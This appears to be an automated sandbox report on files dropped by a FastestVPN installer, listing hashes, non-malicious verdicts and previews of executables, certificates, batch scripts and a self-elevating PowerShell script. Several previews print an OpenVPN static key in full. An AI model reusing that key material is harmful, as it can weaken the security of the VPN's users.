                                                                                                                    MD5:195FFB7167DB3219B217C4FD439EEDD6
                                                                                                                    SHA1:1E76E6099570EDE620B76ED47CF8D03A936D49F8
                                                                                                                    SHA-256:E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
                                                                                                                    SHA-512:56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*..(....*:.(......}....*..{....*..(....*..(....*:.(......}....*..{....*.(.........*....}.....(......{.....X.....}....*..0...........-.~....*.~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..|....(......._..{........+,..{|....3...{{......(....,...{{...*..{}.......-..*...0...........-.r...ps....z.o......-.~....*.~....

                                                                                                                    C:\Program Files\FastestVPN\Resources\Setup.Ps1 (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):359
                                                                                                                    Entropy (8bit):5.09733291062762
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:i4Z2TyUdkl9WUyUdkwc1+XMoHkyUdk3LASg0TqeXMFXA98XfFZ/FvjCzISMOmEm:jZELklIULktkXxELk35q0MhA98vFZ/FV
                                                                                                                    MD5:777B3CBF81DDD8B238BDEDDDEA17AFED
                                                                                                                    SHA1:C72F46715DCBC9BDA1E2BEEAC8AF2A64E7B48D08
                                                                                                                    SHA-256:DACE14B4A5268728E67A9E78D8F0877F4C87F6B87DDD40DFF28A11E9E42945CF
                                                                                                                    SHA-512:5C6D302F93381EBF65ADD3DAA0EB4813270C5D9A042AD9B8A48A575ADC4E751D3834292BB61AEF6A5458036AE6E3C83C8EDFAE5CF828D81317ACAE6675B8E619
                                                                                                                    Malicious:false
                                                                                                                    Preview:If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))..{ ..$arguments = "& '" + $myinvocation.mycommand.definition + "'"..Start-Process powershell -Verb runAs -ArgumentList $arguments..Break..}.. Set-NetConnectionProfile -NetworkCategory Private

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\ca1.ca (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PEM certificate
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1912
                                                                                                                    Entropy (8bit):6.013187457463572
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                    MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                    SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                    SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                    SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\ca2.ca (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PEM certificate
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1912
                                                                                                                    Entropy (8bit):6.013187457463572
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                    MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                    SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                    SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                    SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\is-0I635.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PEM certificate
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1912
                                                                                                                    Entropy (8bit):6.013187457463572
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                    MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                    SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                    SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                    SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\is-D42BD.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):618
                                                                                                                    Entropy (8bit):4.532694766524299
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                    MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                    SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                    SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                    SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\is-HLRBV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):618
                                                                                                                    Entropy (8bit):4.532694766524299
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                    MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                    SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                    SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                    SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\is-ULNKB.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PEM certificate
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1912
                                                                                                                    Entropy (8bit):6.013187457463572
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:LrZOGn3n3+NKHqtdSLuARqhs9WWRR21mB4LearXRvW:Lrz3nnYhhfwc1eCearhvW
                                                                                                                    MD5:94F25D41487F654EF2371FA92544003C
                                                                                                                    SHA1:41A561AA773A21C240F74AF4F14DB7FB2479F630
                                                                                                                    SHA-256:E6A1EEFBCA63DDCE20065B080C202BF63686F473B91F2C64461434AFD071018C
                                                                                                                    SHA-512:281DCBF7852E3B81B3E09A889045C2B4357F684B4F511835A874BC98DEC7D4A77AD1EC1C0FE1D55D9616670278715FBFE9772F2518C3861933F6C392B6A939A4
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN CERTIFICATE-----..MIIFQjCCAyqgAwIBAgIIUfxepT+rr8owDQYJKoZIhvcNAQEMBQAwPzELMAkGA1UE..BhMCS1kxEzARBgNVBAoTCkZhc3Rlc3RWUE4xGzAZBgNVBAMTEkZhc3Rlc3RWUE4g..Um9vdCBDQTAeFw0xNzA5MTYwMDAxNDZaFw0yNzA5MTQwMDAxNDZaMD8xCzAJBgNV..BAYTAktZMRMwEQYDVQQKEwpGYXN0ZXN0VlBOMRswGQYDVQQDExJGYXN0ZXN0VlBO..IFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC1Xj+WfPTo..zFynFqc+c3CVrggIllaXEl5bY5VgFynXkqCTM6lSrfC4pNjGXUbqWe6RnGJbM4/6..kUn+lQDjFSQV1rzP2eDS8+r5+X2WXh4AoeNRUWhvSG+HiHD/B2EFK+Nd5BRSdUjp..KWAtsCmT2bBt7nT0jN1OdeNrLJeyF8siAqv/oQzKznF9aIe/N01b2M8ZOFTzoXi2..fZAckgGWui8NB/lzkVIJqSkAPRL8qiJLuRCPVOX1PFD8vV//R8/QumtfbcYBMo6v..Ck2HmWdrh5OQHPxb3KJtbtG+Z1j8x6HGEAe17djYepBiRMyCEQvYgfD6tvFylc4I..quhqE9yaP60PJod5TxpWnRQ6HIGSeBm+S+rYSMalTZ8+pUqOOA+IQCYpfpx6EKIJ..L/VsW2C7cXdvudxDhXPI5lR/QidCb9Ohq3WkfxXaYwzrngdg2avmNqId9R4KESuM..9GoHW0dszfyBCh5wYfeaffMElfDam3B92NUwyhZwtIiv623WVXY9PPz+EDjSJsIA..u2Vi1vdJyA4nD4k9Lwmx/1zTc/UaYVLsiBqL2WdfvFTeoWoV+dNxQXSEPhB8gwi8..x4O4lZW0cwVy/6fa8KMY8gZbcbSTr7U5bRERfW8l+jY+mYK

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\tcp.tls (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):618
                                                                                                                    Entropy (8bit):4.532694766524299
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                    MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                    SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                    SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                    SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                    C:\Program Files\FastestVPN\Resources\data\udp.tls (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):618
                                                                                                                    Entropy (8bit):4.532694766524299
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:LrkTt/+xYnhEKMhS64Ar24EgJroQXj2OrcV7TdRwPXYGFc6895C1v:LrkTtcYnhEKoP4AK4EgJkCj2OrnoGFFx
                                                                                                                    MD5:005BF2A1B29FB74EF9ED7402A69D5CD5
                                                                                                                    SHA1:ADEFC73E4B4F34F304E78FD4DB2D3B6AD09C6AF7
                                                                                                                    SHA-256:F7FE79400908B148EB8E8AF16B0F1AFDF7CBCD33DCE23F96177473D0BF11DAFF
                                                                                                                    SHA-512:381CA1E2146A66D1ACC46F7E9F9081962BB96014C10EB5AA0AE60478B8DD902F1975D63AEE18675B95A71D90594338753D8C91CD21ED0939237562E61D0D3D69
                                                                                                                    Malicious:false
                                                                                                                    Preview:-----BEGIN OpenVPN Static key V1-----..697fe793b32cb5091d30f2326d5d124a..9412e93d0a44ef7361395d76528fcbfc..82c3859dccea70a93cfa8fae409709bf..f75f844cf5ff0c237f426d0c20969233..db0e706edb6bdf195ec3dc11b3f76bc8..07a77e74662d9a800c8cd1144ebb67b7..f0d3f1281d1baf522bfe03b7c3f963b1..364fc0769400e413b61ca7b43ab19fac..9e0f77e41efd4bda7fd77b1de2d7d785..5cbbe3e620cecceac72c21a825b243e6..51f44d90e290e09c3ad650de8fca99c8..58bc7caad584bc69b11e5c9fd9381c69..c505ec487a65912c672d83ed0113b5a7..4ddfbd3ab33b3683cec593557520a72c..4d6cce46111f56f3396cc3ce7183edce..553c68ea0796cf6c4375fad00aaa2a42..-----END OpenVPN Static key V1-----

                                                                                                                    C:\Program Files\FastestVPN\Resources\devcon.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):93832
                                                                                                                    Entropy (8bit):5.48517352660103
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:kP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGHK/CT:kePOYe4bu1epDh8RWGHK/M
                                                                                                                    MD5:A2ADF4897942B99FE0738F8C37FD15C0
                                                                                                                    SHA1:4192A2221F5C48A16427BF1898C0443CA27A29BB
                                                                                                                    SHA-256:B339B9A93A93B52F3EA0A5F2161E4B16BDA0CA7396D53ECA14C7D7F3E963A3A3
                                                                                                                    SHA-512:DF383B4B70C980C613F3C3EC4E99980DA6DB15F123D617197B644314233D1E2ADEC9F9162D6DBB7B874D885119082E01840102F0976F3CC767A78B5E467EF4A8
                                                                                                                    Malicious:false
                                                                                                                    Antivirus:
                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p......r.....@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\install_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):316
                                                                                                                    Entropy (8bit):5.3985610361996965
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:kCaFvHBvyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1jt0V09:k9vBv5Y7WCKGWXOT7/+iQjOh0W
                                                                                                                    MD5:259CE13E63C08F5198A5D7337DCCC0C0
                                                                                                                    SHA1:E25C50EFBC8AF1D70BB42C72CB0D0246EBF6BCBC
                                                                                                                    SHA-256:CE97CB0477C8F8F626A50B6935EB817062EC69136443E1F62691700CBC0D4456
                                                                                                                    SHA-512:AD5319E8941E90D9C2FA60AD18B8061CAC31D0EE39DFDC1494E1A2B0A1F57AB661F034E6D60D8421FE07FB395B4FAF4F72B1C3C6E9459277A13961FC5EDB2CCC
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo OFF..@cd /d %~dp0..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10......call %OS%\%ARCH%\install_tap.bat

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\is-ERERV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):302
                                                                                                                    Entropy (8bit):5.3909078265911585
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:6vyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1OoKG9:6v5Y7WCKGWXOT7/+iQjOOo1
                                                                                                                    MD5:6D857A141F9C245E6ACD7012120A0704
                                                                                                                    SHA1:66666950BDB2486C58B1C2D11132A98BF3A54EA8
                                                                                                                    SHA-256:992D1891016B4C45BACB4DB700195096F438BB10070484D63088F52E8063EEF7
                                                                                                                    SHA-512:8ACE3FA96B4FDA7B036A12EBF8DFC3E8C1FFCF212ED8F2A60FEB64806C26AABF926FF3D02D656EECE10B6F760F846E4196A9116FFF83BC00408697F7C3EEE180
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo OFF..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10....call %OS%\%ARCH%\uninstall_tap.bat

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\is-S7R33.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):316
                                                                                                                    Entropy (8bit):5.3985610361996965
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:kCaFvHBvyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1jt0V09:k9vBv5Y7WCKGWXOT7/+iQjOh0W
                                                                                                                    MD5:259CE13E63C08F5198A5D7337DCCC0C0
                                                                                                                    SHA1:E25C50EFBC8AF1D70BB42C72CB0D0246EBF6BCBC
                                                                                                                    SHA-256:CE97CB0477C8F8F626A50B6935EB817062EC69136443E1F62691700CBC0D4456
                                                                                                                    SHA-512:AD5319E8941E90D9C2FA60AD18B8061CAC31D0EE39DFDC1494E1A2B0A1F57AB661F034E6D60D8421FE07FB395B4FAF4F72B1C3C6E9459277A13961FC5EDB2CCC
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo OFF..@cd /d %~dp0..set OS=windows;....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64....for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j..if "%version%" == "10.0" set OS=windows10......call %OS%\%ARCH%\install_tap.bat

                                                                                                                    C:\Program Files\FastestVPN\Resources\driver\uninstall_tap.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):302
                                                                                                                    Entropy (8bit):5.3909078265911585
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:6vyXOBS7WFNiKGWxtfGT26BuXFoAyzyFEQRFQ1OoKG9:6v5Y7WCKGWXOT7/+iQjOOo1
                                                                                                                    MD5:6D857A141F9C245E6ACD7012120A0704
                                                                                                                    SHA1:66666950BDB2486C58B1C2D11132A98BF3A54EA8
                                                                                                                    SHA-256:992D1891016B4C45BACB4DB700195096F438BB10070484D63088F52E8063EEF7
                                                                                                                    SHA-512:8ACE3FA96B4FDA7B036A12EBF8DFC3E8C1FFCF212ED8F2A60FEB64806C26AABF926FF3D02D656EECE10B6F760F846E4196A9116FFF83BC00408697F7C3EEE180
                                                                                                                    Malicious:false
